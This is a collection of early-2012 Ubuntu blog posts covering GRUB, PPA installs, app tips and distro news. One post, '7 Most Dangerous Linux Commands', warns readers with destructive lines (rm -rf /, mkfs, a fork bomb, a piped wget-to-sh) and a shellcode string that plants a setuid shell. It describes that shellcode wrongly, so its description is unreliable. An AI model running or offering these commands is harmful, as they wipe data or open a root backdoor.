Newbie Guide: How to Change Default Boot for GRUB

If you are new in Linux, especially for you who still use dual-boot with Microsoft Windows or other operating systems, I will share my knowledge on how to change default boot for GRUB. There are a lot of GUI applications to do such thing but knowing the basic concept is important if you want to know more about Linux. Before we get started, please take a closer look at the picture below:

OK! Let's make an assumption, we have five entries in GRUB numbered with 0 until 4 which number "0" (Ubuntu) is default boot for GRUB. It means that if you don't do anything when this screen appears, the "0" entry will be selected to boot. Now, we want to make the "4" (Windows XP) entry to be a default boot for GRUB. To do such thing, we have to edit "/boot/grub/grub.cfg" file, simply type the following command:

• sudo gedit /boot/grub/grub.cfg

New Gedit window will be opened and shows the content of "/boot/grub/grub.cfg". Search for statement set default="0"!

Do you find it? All you need to do is changing the "0" number to "4". It makes the "4" entry (Windows XP) set to default boot for GRUB. Don't forget to save your work and reboot to see the changes.

Regards :)

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Kubuntu: No longer a Canonical's flagship distribution!

Jonathan Riddell, lead developer for the Kubuntu project and the only guy employed by Canonical to work on the KDE variant of the popular distribution, has announced that after the 12.04 release, Canonical will no longer pay him for developing  KDE variant of Ubuntu, putting Kubuntu on the same level as other Ubuntu variants like Xubuntu, Edubuntu, Mythbuntu etc. which are already community driven projects.

Riddell will continue to be employed by Canonical, but working on Kubuntu will be confined to his free time. In order for the Kubuntu project to continue operating, Riddell says that community members will have to take a more active role in doing unpopular tasks such as ISO testing.

According to Riddell

"Kubuntu has not been a business success after 7 years of trying, 

and it is unrealistic to expect it to continue to have financial 

resources put into it."

Although this will not going to be a disappointing news for the guys at KDE and the users who prefer KDE over other desktop environments since there are enough other KDE-centric distributions around, and we cannot blame Canonical for not wanting to invest in a project which worth nothing financially.


Kubuntu users who want to join the development effort and participate in testing and maintaining the distribution can learn more about how to get involved at the project's website.

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Footnote: Eyecandy note taking app from Elementary OS

Footnote is an eycandy, fast, and simple note taking app from Elementary OS team, this app allows you to take notes efficiently and helps keep them organized. It also support exporting your notes to pdf format for record keeping.

Installing Footnote in Ubuntu.


Add this ppa for the dependencies:

• sudo add-apt-repository ppa:nemequ/sqlheavy

• sudo apt-get update
  

Ubuntu 11.10 and 12.04 can get Footnote from elementary-os daily build ppa.

• sudo add-apt-repository ppa:elementary-os/daily

• sudo apt-get update
  

Install footnote:

• sudo apt-get install footnote

Note: Footnote 0.1 is still in development phase, consequently, the app is  unstable  and not suitable for mission critical purposes.

Report Bugs to: https://bugs.launchpad.net/footnote

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Fbcmd: Use Facebook from Command Line

Hello everybody! How are you? I hope everything is well there :) Today I'd like to write a post about Fbcmd. Fbcmd is a command line interface (CLI) for Facebook which is open-source and works on Windows, Linux, and Mac. Fbcmd was originally created for "fast" status update and posting some items on news feed, but it has additional features too! In this post, we'll cover how to get Fbcmd running on Linux system, how to configure it and finally a simple example on how to post status update on Facebook with this cool stuff.

Installing required components
Fbcmd created with PHP programming language, so we need PHP interpreter to run this application:

• sudo apt-get install php5 php5-cli

Check whether everything is installed correctly by typing the following command:

• php -r "echo phpversion();"

Now, please make sure that PHP is configured correctly, especially "allow_url_fopen" variable in php.ini  must be set to "On".

• cat /etc/php5/cli/php.ini | grep allow_url

If the value of "allow_url_fopen" is still "Off" set it to "On"!

Installing Fbcmd
Please download Fbcmd zipped package here, then type the following commands to install it:

• unzip fbcmd.zip
• cd fbcmd
• sudo php fbcmd_update.php
• sudo php fbcmd_update.php install

It needs some times to install because it will search for update on the Internet. Once installed, please type "fbcmd" on Terminal the check wheter Fbcmd is installed correctly.

One-Time Configuration
The purpose of this step is to gain access to your Facebook account, so please be patient if there will a lot of commands to run. Don't worry, you should run this step only once!
Please make sure, you have logged into your Facebook account:

• fbcmd go access

A window of web browser will be opened and you will be prompted to give "initial" permission to Fbcmd accessing your account (for Auth Code generation process). Now, Fbcmd needs to generate Auth Code (or One-time code) from your account, simply type the following command:

• fbcmd go auth

A web browser window will be opened again and you need to "Generate" one-time code which will be entered to Fbcmd application in order to gain "full" access to your Facebook account. Please, generate the code and remember, copy, or save the unique code.

Once, One-time code successfully generated, run this command to enter it to the application:

• fbcmd auth XXXXXX

Replace "XXXXXX" with your unique code. There is one more step to give Fbcmd "full" access to your Facebook account:

• fbcmd addperm

You've done! Now you can use Fbcmd as you wish. I'll give an example on how to post status update using Fbcmd:

• fbcmd status "This is a test status update using Fbcmd"

There are still a lot of commands of Fbcmd, you can read all of them including the examples here.

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Unity 5.x Design Concept (Mockup) for Ubuntu 12.04

Frederico Araújo Mendes sent us his design concept (Mockup) of Unity 5.x that was intended for Ubuntu 12.04, is this design will be the next candidate of Ubuntu 12.04 Unity design? I hope so ..

That was interesting design from him, this design reflects the power of modern desktop, all we want are available in a single click. I think some of this features may indeed be present in Unity today or tomorrow. Some of features that's good and should be considered to be the next Unity features are :

• Unity Widgets - Some poeple used to install an application like Screenlets, Conky and Super Karamba to get some widget for complement a desktop features or just to decorate a desktop appearence, it think it was good idea if Unity bring this thing by default. 

• Unity Appearence Setting - there was unity appearence setting provided which can be used by the user to setting or choose unity dash display that according to own taste. 

• New Design of Lens : We're interested in new design that made for unity music lens, you can browse and play music directly from dash which designed very close to the music player. 
• Feel interested in this design, See following video :

Ask and suggestion can be forwarded to : nq6@hotmail.com

@Thanks and good job for Frederico Araújo Mendes

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Firefox Menu Button Icon

Are you getting bored with the ugly Firefox menu button in Linux and want to change it to some colorful icon ?

Then here is a userstyle for Stylish Firefox extension. It contains loads of Icons for your every mood. Works great with most of themes in Firefox.

If you already have Stylish extension installed you can directly apply these icons to your Firefox, otherwise it will ask you to install Stylish extension from same link.

Enjoy!

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How to Change LibreOffice Splash Screen

LibreOffice is default Office Suite applications for latest Ubuntu so it becomes popular nowadays. Recently, I wrote a post about how to boost LibreOffice startup by tweaking some options. Now, I'd like to share another LibreOffice trick that's how to change LibreOffice splash screen. This trick is useful - for example - if you want to "match" your LibreOffice splash screen with your remastering or desktop modification project. OK! Let's get started.

In this post, I use "theme" created by Kasenkov @gnome-look.org. Please download the theme here and extract it to place which is easy to remember then type the following command to replace default LibreOffice Splash Screen (please back up the original file if needed):

• sudo cp about.png intro.png /usr/lib/libreoffice/program/

Once replaced, you need to configure the progress bar color, size, and position. You can do it by editing "sofficerc" file.

• sudo gedit /etc/libreoffice/sofficerc

Edit the file as follows:

• [Bootstrap]
• HideEula=1
• Logo=1
• NativeProgress=true
• ProgressBarColor=78,158,1
• ProgressFrameColor=45,45,45
• ProgressPosition=60,277
• ProgressSize=320,6

ProgressBarColor and ProgressFrameColor is in RGB value, of course you change it with any values you like. ProgressPosition is declared in X and Y coordinate, in this example, the progress bar is located at 60 pixels from left and 277 pixels from top. ProgressSize declared in width and height in pixels, in this example, we set it to 320 pixels width and 6 pixels height.

Don't forget to save your work and test it by opening LibreOffice. Hope it works.

Regards :)

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Mandriva a sinking ship?

My very first tryst with Linux started with RedHat version 8, the time when RedHat was a free operating system like any-other Linux distro and there was no Ubuntu. But RedHat never worked the way I wanted my desktop to be, and I tried as many Linux distro as I could find. A distro which stood apart and worked beautifully for me was Mandriva (known as Mandrake Linux that time).


 

In one sentence, Mandrake Linux was like the Ubuntu of this era in terms of usability and ease. Mandrake Linux provided the easiest way to the Internet and software availability in its infamous discovery and power pack flavors packed with both open source and proprietary software.

Down the year 2012 the old shine and luster is all lost and the company behind the Magical Linux is on the verge of disappearance from the legendary wall of fame of Linux distributions.

But what made this transition from being a legend to a forgotten tale ?

Brian Proffitt argued in his article  “The diminishing of the operating system” that not keeping up with the trends of time is the reason for the decline of French Linux distributor, the other OS vendors are no longer selling Operating System as a standalone solution, rather they offer services such as virtualization and cloud computing along with the OS, training and support (which is no longer a minting machine for Open Source companies).

Brian could be correct in his deduction as far as RedHat and SUSE are concerned since these companies no longer rely on the sale of their brand of operating system and offer a basket full of innovative services and solutions for the enterprise and server space. But it is not the case with Ubuntu, the move towards Smart TV , Mobile and Tablet platform are only the plans for the future and do not create funds for canonical right now.

One should also take the community factor into the consideration when talking about FOSS. One cannot deny that the main source for the new innovations in open source space for RedHat & Novell stems from their community offerings namely Fedora and OpenSUSE which are among the most active free and open source communities along with Cannonical for Ubuntu.

In my opinion the lack of contributions from an active community is also a reason behind this deadly jerk for Mandriva. Mageia Linux which forked out from the Mandriva in 2010 is not a supported community initiative from Mandriva, but an effort from the bunch of dissatisfied developers from the French Linux company.

So even if the Mandriva will recover from the financial crunch (as they had done in 2010) the community effort from the Mageia will carry the legacy of the Magical Linux Desktop forward in the coming years.

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Laptops/Desktops/Servers That Ready for Ubuntu - Ubuntu Hardware Certification

To ensure that Ubuntu runs smoothly in every laptops/desktops/servers, canonical has a program called Ubuntu Certification. Ubuntu certification is a program where ubuntu is working together with several laptops/desktops/servers and hardware providers to make sure that Ubuntu can work well on some product they produce.

Official Ubuntu (community) conducted some tests on every laptops/desktops/servers using predetermined testing and validation criteria before a servers/desktops/laptops or hardware awarded as 'Ubuntu Certified'. Some laptops/desktops/servers providers who have cooperated with ubuntu including Dell, Wipro, Lenovo, HP, IBM, Acer, Asus, Toshiba, System76, Intel, HCL Infosystems Limited, Citrix Systems, VMware, Sun, and Quanta.

List of  laptops/desktops/servers which have been certified by ubuntu can be seen here, at glance dell laptop series dominating the total of laptops that have been certified by Ubuntu.

So, if you've a plan to buy some new device (servers/desktops/laptops) and wondered if "can ubuntu works well there ?" , i think it is better idea if visiting this page first.

Besides of the project above, there are also Ubuntu community called Ubuntu Friendly which driven hardware validation programme for desktops, netbooks and laptops which running Ubuntu 11.10 and up, The aim of this community is to have a simple and quick way to look up how well machines work with Ubuntu releases. Ubuntu friendly now running in beta and planned to be  launch in April 2012. you can also participate in there, see following participation guide  or visit Ubuntu Friendly site. 

Reference site :
[1] http://www.ubuntu.com/certification
[2] https://friendly.ubuntu.com
[3] http://webapps.ubuntu.com/partners/certified-software/

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Mounty: Easily Mount Disk Images from Application Indicator

Mounty is small application which can mount popular disk images such as iso, img, bin, mdf, nrg directly from Application Indicator. Windows users who is familiar with Daemon Tools should know what Mounty is. There is another feature of Mounty, that's capability to burn disk images to CD/DVD.

Mounty has a easy-to-use interface, this application is suitable for people who is "lazy" to open the Terminal, and type some weird commands for mounting disk images. With Mounty you can mount and burn disk images with few of clicks even with single hands! :D

Installation on Ubuntu
Many of Ubuntu users have created PPA for Mounty, but there is an official repository for it. So, please type the following commands to install Mounty for its official repository:

• sudo add-apt-repository "deb http://download.learnfree.eu/repository/skss / #SKSS"
• wget http://download.learnfree.eu/repository/skss/repo.pub.asc -q -O- | sudo apt-key add -
• sudo apt-get update && sudo apt-get install mounty

Once installed, Mounty can be executed from Accessories section in the menu. For convenience, you can enable "Load at startup" to automatically run Mounty when computer starts.

Regards.

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We Need Contributors - Let's Participate in UbuntuBuzz!

We would like to invite you to contribute in UbuntuBuzz!, Whether you're an experienced ubuntu or someone who just knows ubuntu yesterday we give you same opportunity.

Along with increasing of the number of people who like ubuntu and people who access this blog (for now, we have at least 20,000 page hits every day), we hope that our readers can be more interact and directly participate, regarding to that, we would like to invite you to share your experience and knowledge with other readers by writing some article.

What Should I Write?

If you have joined in ubuntubuzz you can write in your own, but please consider that you should be able to take responsibility for what you write. We give some criteria that maybe interesting to be shared, among others ... Read More

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Boost LibreOffice/OpenOffice Startup

Many of us complaint that LibreOffice loads slowly in startup even in high-end computer. So today I'd like to write a post on how to boost LibreOffice startup by tweaking some options inside it. Although in this post I use LibreOffice, it should works with OpenOffice too.

Please open LibreOffice and open menu "Tools > Options". Under Options window, select "Memory" in the left pane and edit the values as follows:

• Number of steps: 20
• Use for LibreOffice: 256 MB
• Memory per object: 50 MB
• Remove from memory after: 00:05 hh:mm
• Number of objects: 20

If you did it well, it should look like this:

Now, select "View" in the left pane and change as follows:

• Show preview of fonts: uncheck
• Use Anti-Aliasing: uncheck

Once finished, click OK and feel the differences :D
Regards.

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How to Decrease/Speed Up Ubuntu Booting Time

As heard before, Ubuntu has a faster boot time than Windows or Mac, but some users have had a different experience than others. This aim of this article is to explain about it , how it happens and how to make it faster. (thanks to Neil_m)

One factor that influence booting time is a hardware specs, not only about capacity, but whether is the hardware having a good drivers and well supported by Ubuntu. When we boot up the machine, Grub does search for all the necessary drivers to load, this action actually takes a time, a long booting time usually caused by grub does not 'immediately' find the required drivers or some error occurs when the Grub try find that drivers.

One of the ways that help us to speed up ubuntu boot time is removing unnecessary services and drivers that are loaded at boot time. Something that you have to do is tell the Grub to make a new profile. Profile is Grub option that should add to grub configuration file (/etc/default/grub) to inform the boot loader to create a new profile during the next boot loading sequence.

Speed Up Ubuntu Booting Time via Grub
here's to do it, open your grub configuration file (/etc/default/grub) and find this line GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash”, do as follows :

• sudo gedit /etc/default/grub
• replace GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash” with GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash profile”.
• save and exit
• sudo update-grub2
• sudo reboot

Grub does a search for all the necessary drivers to load, Instead of making Grub search for required drivers, the profiling actually makes Grub remember every necessary driver to work, This action will cutting down all of the driver load times. 

after your system up, edit /etc/default/grub and remove some option  which we have added before.

• sudo gedit /etc/default/grub
• replace GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash profile” with GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash”.
• save and exit
• sudo update-grub2

(Other) Using All CPU Cores During Booting
If you have a multi-core CPU/Processor, this following steps may be able to speed up your boot time besides of using the step above, follow these instructions:

• sudo gedit /etc/init.d/rc
• find this line : CONCURRENCY=none or CONCURRENCY=makefile
• replace with : CONCURRENCY=shell
• save and exit

at least my booting time increased by 7 Sec than before, what about you ?

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Lugaru HD: Third Person Action Game for Linux

Lugaru (pronounced Loo-GAH-roo) is a DRM-free, third-person action game available for Mac, Windows, and Linux. The main character, Turner, is an anthropomorphic rebel bunny rabbit with impressive combat skills. In his quest to find those responsible for slaughtering his village, he uncovers a far-reaching conspiracy involving the corrupt leaders of the rabbit republic and the starving wolves from a nearby den. Turner takes it upon himself to fight against their plot and save his fellow rabbits from slavery.

via: Wolfire Games

Lugaru HD has a lot of controls with many combinations to perform many martial-art techniques, but don't worry, it comes with tutorial mode so you can do some practices before jump into the real battlefield.

If you still remember, Lugaru HD was included in Humble Indie Bundle that meant you have to pay for playing Lugaru HD and other games included in the bundle. Fortunately, on May 11th 2010, Wolfire Games announced that Lugaru HD was open-sourced, so you can download it, modify it, and redistribute it for free.

Lugaru HD can be installed easily by adding Playdeb repository:

• echo "deb http://archive.getdeb.net/ubuntu oneiric-getdeb games" | sudo tee /etc/apt/sources.list.d/playdeb.list
• wget -q -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -
• sudo apt-get update

Please change "oneiric-getdeb" with your distributiion. In case you are using Natty change it to "natty-getdeb".
Once, Playdeb repository has been added, type the following command to install Lugaru HD:

• sudo apt-get install lugaru

Lugaru HD is available for other Linux distributions, Windows, and Mac OSX. Please click here for further information.

For additional information, here is a demo video about Lugaru HD:




Regards.

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Introducing HUD 'Head-Up Display' Ubuntu

Yesterday, Mark Shuttleworth has introduced a new features in Ubuntu 12.04 Precise Pangolin that's called HUD, HUD has expected to be a new form of application menu in Ubuntu, just now HUD has been introduced and ready to install in via PPA.

HUD is a short of 'Head-Up Display', HUD is a one of smart innovation from Unity Team that designed for Ubuntu 12.04 which integrates application menu to the Unity-desktop. HUD is designed as a semi-Dash, Users are allow to access application menu, recent history, and standard application command (undo, redo, search, etc) trough search button that stick dash. See following video to get clear illustration of HUD 'Head-Up Display'.

HUDs Menus are serve in two purposes. They act as a standard way to invoke commands which are too infrequently used to warrant a dedicated piece of UI real-estate, like a toolbar button, and they serve as a map of the app’s functionality, almost like a table of contents that one can scan to get a feel for ‘what the app does’. It’s command invocation that we think can be improved upon, and that’s where we are focusing our design exploration.

The HUD solves many of these issues, by connecting users directly to what they want. Check out the video, based on a current prototype. It’s a “vocabulary UI”, or VUI, and closer to the way users think. “I told the application to…” is common user paraphrasing for “I clicked the menu to…”. The tree is no longer important, what’s important is the efficiency of the match between what the user says, and the commands we offer up for invocation. (markshuttleworth.com)

The Feature of HUD
Apparently there are plans of Unity Team to make HUD integrate with voice recognition, gesture and touch, if it is realized, of course there will be good news for us and will probably be good prospect for Ubuntu phone to be implemented on. 

Install Unity 5.1.0 with HUD Integration in Ubuntu 12.04 via PPA
You can tried to install HUD in Ubuntu 12.04  Precise Pangolin, but please consider that a HUD project is still in development and may unstable, your critics and suggestions probably needed for future improvements. do following to install Unity 5.1.0 with HUD integration in Ubuntu 12.04 Precise Pangolin.

• sudo add-apt-repository ppa:unity-team/hud
• sudo apt-get update && sudo apt-get dist-upgrade

Once installed restart your system (log out then log in again), to start using HUD press the 'Alt' key.

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Asturix On: New Comer Desktop Environment with the Power of Web

So far, we already know many kinds of desktop environments such GNOME, KDE, LXDE, XFCE, Unity, Openbox etc. But, have you ever imagined such a web based desktop environment? Now, there is a new project which try to create web based desktop environment for Linux called Asturix On. The key features of this desktop environments are:

Web based
All of the Asturix On user interface is programmed with only web technologies. Yes, just HTML5, CSS3 and Javascript. That's pretty cool! Cool for the developer because we can build and extend all the desktop components easily. And cool for the user because the interface results in a highly animated and fresh experience!

Beautiful and simple
With a small top panel (only 24px height!) you won't be distracted. There aren't oversized docks or tool bars to reduce your display's usable space. With the top panel you can switch tabs, access desktops or monitor system information thanks to indicators. When you are on the desktop, swipe your mouse to access applications, widgets or places. Just work.


Graceful degradation
Don't worry if you don't have a super-computer with 3D effects. Asturix On will automatically default to a 2D window manager. The user experience is unaffected, so don't hesitate to try Asturix On on an older system.

Tablet capable
The desktop is based on Qt and the UI uses Sencha, two libraries that are touch capable and can be ported to a lot of mobile devices.

For a brief demo, please take a look at this video:

Future plans
Asturix On is still in Alpha stage and have not completed yet, but it will be completed and announced in a month with features additions such as ability to access desktop via cloud, localization, more widgets, etc.

Well, if you have any questions or feedback, please visit Asturix On homepage.

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LibreOffice 3.4.5 Available in PPA

LibreOffice 3.4.5 has been released January 16, 2012, LibreOffice 3.4.5 availabe in Linux, Windows, and Mac.

What's New Features inside :

• Redesigned Move/Copy Sheet dialog (Edit->Sheet->Move/Copy) to improve its ergonomics. (Joost Eekhoorn, Christoph Noack)
• Improve HTML export with an image thumbnail gallery of the slides on the contents page. (Julien Nabet, Michael Meeks).
• Fonts which are tuned for use with a specific script, e.g. Arabic, Hebrew, Malayalam, etc. now show an additional preview of some sample text in the target script. (Caolán McNamara, Red Hat, Inc.)
• Color Charts: Adding and Removing color charts is now possible from: Tools->Options->Charts->Default Colors (Rob Snelders).
• Named range as data source: With 3.4 it is now possible to use a named range as the data source for DataPilot.
• Text Rendering: Linux text-rendering improvements. Text is now drawn via Cairo with the same subpixeling options as other Cairo-using apps. The outcome is that text in LibreOffice is rendered the same as the rest of your desktop.

Upgrade LibreOffice 3.4.5 via PPA
if you have install any previous version of LibreOffice before this, you can upgrade it to LibreOffice 2.4.5 trough following command :

• sudo add-apt-repository ppa:libreoffice/ppa
• sudo apt-get update
• sudo apt-get upgrade

Install LibreOffice 3.4.5 via PPA
if you haven't install  libreoffice before, try the latest LibreOffice trough following this.

• sudo add-apt-repository ppa:libreoffice/ppa
• sudo apt-get update
• sudo apt-get install LibreOffice

Download LibreOffice 3.4.5 
if you are not Ubuntu user, you can download and install LibreOffice 3.4.5 directly though this links :

• http://www.libreoffice.org/download/

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Enable WebGL in Google Chrome

For those who doesn't know what WebGL is:

WebGL (Web-based Graphics Library) is a software library that extends the capability of the JavaScript programming language to allow it to generate interactive 3D graphics within any compatible web browser. WebGL code executes on a computer display card's Graphics Processing Unit (GPU), which must support shader rendering.

WebGL is a context of the canvas HTML element that provides a 3D computer graphics API without the use of plug-ins.[2] The specification was released as version 1.0 on March 3, 2011.[1] WebGL is managed by the non-profit Khronos Group.

via: Wikipedia

WebGL is required to play some games or run some applications on Google Chrome e.g. SKID Racer game on Chrome Web Store. WebGL should be activated by default in Google Chrome, if you are unsure about it, please check the WebGL capability by visiting this site and choose whatever test you want. If your Google Chrome supports WebGL, the above picture should appear on your browser.

In case, Google Chrome doesn't activate WebGL capability because unsupported graphics card (such as Intel GMA), you can force it to enable WebGL by executing Google Chrome with "--ignore-gpu-blacklist" argument. Here's is the example:

• google-chrome --ignore-gpu-blacklist

If you want to add the "--ignore-gpu-blacklist" argument to Google Chrome shortcut on menu or launcher, please open file "/usr/share/applications/google-chrome.desktop" with your favorite text editor (root privileges needed) and change the "Exec" value with the following:

• /opt/google/chrome/google-chrome --ignore-gpu-blacklist %U

Please see the figure below for more details:

Once edited, save the changes and do a WebGL test.

Regards :)

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Enable Multi Display Wallpaper on XFCE (Xubuntu)

Have you ever visited DeviantArt especially in multi display wallpaper section? If yes, you should know what I mean with "Multi Display Wallpaper". It is just like usual wallpaper but designed to be used in multi display. I have written an article about setting up dual monitor on XFCE (Xubuntu), by default XFCE uses single wallpaper for each monitor, so you must set up wallpaper one by one for each monitor. With this trick you can use one wallpaper which automatically stretched to another monitor as the figure below:

As you can see, first screen has a part of the wallpaper and the rest is given to another. OK! Let's get started doing that.

Open XFCE Settings Editor from "Applications Menu > Settings > Settings Editor", on the left pane navigate to "xfce4-desktop" and on the right pane select "backdrop > screen0". Add a new property by clicking the "New" button and fill in the form with the following entries:

• Name: xinerama-stretch
• Type: Boolean
• Value: (check the checkbox)

Click "Save", logout and login back. Now you can configure wallpaper from the main display. If you want to download many multi display wallpapers, please visit DeviantArt.

Regards.

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Install Emerald Theme Manager on Ubuntu 11.10 Oneiric Ocelot

Emerald is beautiful window decorator which has a lot of fans back then. Unfortunately, Emerald is not included in Ubuntu Oneiric repositories so you can not easily. So, today I'd like to show you how to install Emerald on Ubuntu 11.10 Oneiric Ocelot both compiling via sources and installing via PPA. Before we jump, please take a look at a sample of Emerald Window Decorator theme (image via: WebUpd8)

Installing from source
Let's jump into our first method "Installing from sources". I found this method yesterday on Ubuntuforums.org, so please refers to the appropriate thread for further information.
Open the Terminal and type the following command to install applications and tools for compiling Emerald from sources:

• sudo apt-get install git autoconf libtool libwnck1.0-cil-dev libwnck-dev intltool libdecoration0-dev

Once installed, you must download the Emerald source and patche to work on Unity (Ubuntu 11.04 and Ubuntu 11.10), compile and then install it. Those steps can be done by typing the following commands:

• wget http://cgit.compiz.org/fusion/decorators/emerald/snapshot/emerald-0.9.4.tar.gz
• tar -xf emerald-0.9.4.tar.gz
• cd emerald-0.9.4
• cd src
• rm main.c
• wget http://www.learn-digital.com/ubuntu/emerald-0.9.4/src/main.c
• cd ..
• ./autogen.sh && make clean && make distclean && ./configure --prefix=/usr && make && gksu make install

Installing via PPA
Thanks to Andrew @WebUpd8 who provides PPA for Emerald so we can install it easily on Ubuntu 11.10 Oneiric Ocelot. Type the following command to install Emerald via PPA:

• sudo add-apt-repository ppa:nilarimogard/webupd8
• sudo apt-get update
• sudo apt-get install emerald

Once Emerald installed on your system, please select a theme from Emerald Theme Manager and activate by typing:

• emerald --replace

To have Emerald run at startup you must configure it via CompizConfig Settings Manager a.k.a CCSM. Have not installed CCSM yet? Type this command:

• sudo apt-get install compizconfig-settings-manager

Then open CompizConfig Settings Manager (CCSM), on the left pane select "Window Decoration" plugin and under "Command", enter: "emerald --replace".

Regards.

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7 Most Dangerous Linux Commands

If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)

First command:

• rm -rf / #with root privilege such as 'sudo'

This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:




Second command:

• char esp[] __attribute__ ((section(".text"))) /* e.s.p
• release */
• = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
• "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
• "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
• "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
• "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
• "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
• "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
• "cp -p /bin/sh /tmp/.beyond; chmod 4755
• /tmp/.beyond;";

Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.

Third command:

• mkfs.ext3 /dev/sda

This command will format your /dev/sda device and of course will delete all files on it.

Fourth command:

• :(){:|:&};:

Will run too many processes on your system and causes the computer hang up!

Fifth command:

• any_command > /dev/sda

Will write a raw data and all files on /dev/sda will be replaced by the raw data.

Sixth command:

• wget http://sumber_tak_terpercaya -O- | sh

Wil download a shell script from untrusted source and run it when the download finished.

Seventh command:

• mv /home/username/* /dev/null

Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.

So be careful and do a check before running such commands on your system.

Regards.

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Sun Java 6 Now Can Be Installed on Ubuntu via PPA, Cinnamon too!

As we all know, Sun Java 6 are being removed from Ubuntu for the following reasons:

• As of August 24th 2011, Canonical no longer have permission to redistribute new Java packages as Oracle has retired the “Operating System Distributor License for Java”.
• Oracle has published an advisory about security issues in the version of Java currently in the partner archive. Some of these issues are currently being exploited in the wild.
• Due to the severity of the security risk, Canonical released a security update for the Sun JDK browser plugin which disables the plugin on all machines.
• In the near future, Canonical will remove all Sun JDK packages from the Partner archive. This will be accomplished by pushing empty packages to the archive, so that the Sun JDK will be removed from all users machines when they do a software update. Users of these packages who have not migrated to an alternative solution will experience failures after the package updates have removed Oracle Java from the system.

Install Sun Java 6 on Ubuntu via PPA
Of course, this news brings some panic to many Ubuntu users, but don't worry! You can still install Sun Java 6 via PPA:

• sudo apt-add-repository ppa:flexiondotorg/java
• sudo apt-get update
• sudo apt-get install sun-java6-jre sun-java6-plugin

The above PPA contains Sun Java 6 package for Ubuntu 10.04 Lucid Lynx to Ubuntu 12.04 Precise Pangolin!

Install Cinnamon on Ubuntu via PPA
There is also another news about Cinnamon, it can be installed on Ubuntu via PPA with some addition "Cinnamon Settings" for easy Cinnamon configuration.

By installing via PPA, you can have the latest release of Cinnamon while updating your system.

• sudo add-apt-repository ppa:merlwiz79/cinnamon-ppa
• sudo apt-get update
• sudo apt-get install cinnamon cinnamon-session cinnamon-settings

The above PPA can only work with Ubuntu 11.10 Oneiric Ocelot and upcoming Ubuntu 12.04 Precise Pangolin.

via: Ubuntugeek and WebUpd8

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10 Usefull FFmpeg Command That Should be Known

FFmpeg is a complete solution for record, convert and stream audio and video in Linux.
 
FFmpeg is OpenSource multimedia framework which has ability to decode, encode, transcode, mux, demux, stream, filter, and more of audio / video file. FFmpeg almost supports most audio/video format that currently exist, FFmpeg contains libavcodec, libavutil, libavformat, libavdevice, libswscale and libswresample and can be used by applications (3rd party application).

We pick up 10 usefull FFmpeg command that you should know, sometimes you will really need the following command when you want change/convert some audio/video format, or doing some other jobs that involve video or audio in Linux OS family.

Getting Information of video/audio file

• ffmpeg -i video.avi

Encoding a video for iPod/iPhone (avi to mp4)

• ffmpeg -i input_video.avi input -acodec aac -ab 128kb -vcodec mpeg4 -b 1200kb -mbd 2 -flags +4mv+trell -aic 2 -cmp 2 -subcmp 2 -s 320x180 -title X output_video.mp4

Encoding a video for the PSP (avi to mp4)

• ffmpeg -i input_video.avi -b 300 -s 320x240 -vcodec xvid -ab 32 -ar 24000 -acodec aac output_video.mp4

Explanations :
you can change the value of parameters given or change source file format (mpeg, flv, others), here some explanations for two command above.
    Source : input_video.avi
    Audio codec : aac
    Audio bitrate : 128kb/s
    Video codec : mpeg4
    Video bitrate : 1200kb/s
    Video size : 320px par 180px
    Generated video : output_video.mp4

Extracting Video to Mp3

• ffmpeg -i input.avi -vn -ar 44100 -ac 2 -ab 192 -f mp3 output.mp3

Convert avi  to mpg

• ffmpeg -i input_video.avi output_video.mpg

Convert avi to gif (a moving picture)

• ffmpeg -i input_video.avi output_gif.gif

Add some sound to a video (dubbing)

• ffmpeg -i sound.wav -i input_video.avi output_video.mpg

Convert avi to flv (otherwise)

• ffmpeg -i input_video.avi -ab 56 -ar 44100 -b 200 -r 15 -s 320x240 -f flv output_video.flv
• ffmpeg -i input_video.flv output_video.avi

Convert/Compress avi to divx

• ffmpeg -i video_origine.avi -s 320x240 -vcodec msmpeg4v2 video_finale.avi

Convert avi to mpeg for dvd players

• ffmpeg -i input_video.avi -target pal-dvd -ps 2000000000 -aspect 16:9 output_video.mpeg

Install FFmpeg in Ubuntu
You don't need to worry if FFmpeg has not been exsist in your system, you can simply install it through apt-get. you don't need to add some external repository or PPA because FFmpeg always available in default Ubuntu repository.

• apt-get install ffmpeg

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10+ Useful Commands for Linux Users

Linux command prompt is the most interesting place in the system. You can do a lot with it. You can do everything you want and get the "exact" answer about what is going on. Here are some useful Linux commands you could take some advantages from.

1. Save man-page asPDF file
For example, you want save the manpage of APT to PDF file.

• man -t apt | ps2pdf - apt.pdf

2. Duplicate installed packages from one machine to the other (RPM-based systems)

• ssh root@remote.host "rpm -qa" | xargs yum -y install

3. Stamp a text line on top of the PDF pages
This command will add a stamp "This text gets stamped on the top of the pdf pages." on top of each PDF pages.

• echo "This text gets stamped on the top of the pdf pages." | enscript -B -f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf

4. Display the number of connections to a MySQL Database

• mysql -u root -p -BNe "select host,count(host) from processlist group by host;" information_schema

5. Create a local compressed archive (tarball) from remote host directory

• ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz

6. View a brief log over ssh

• ssh -t remotebox "tail -f /var/log/remote.log"

7. Print diagram of user or group

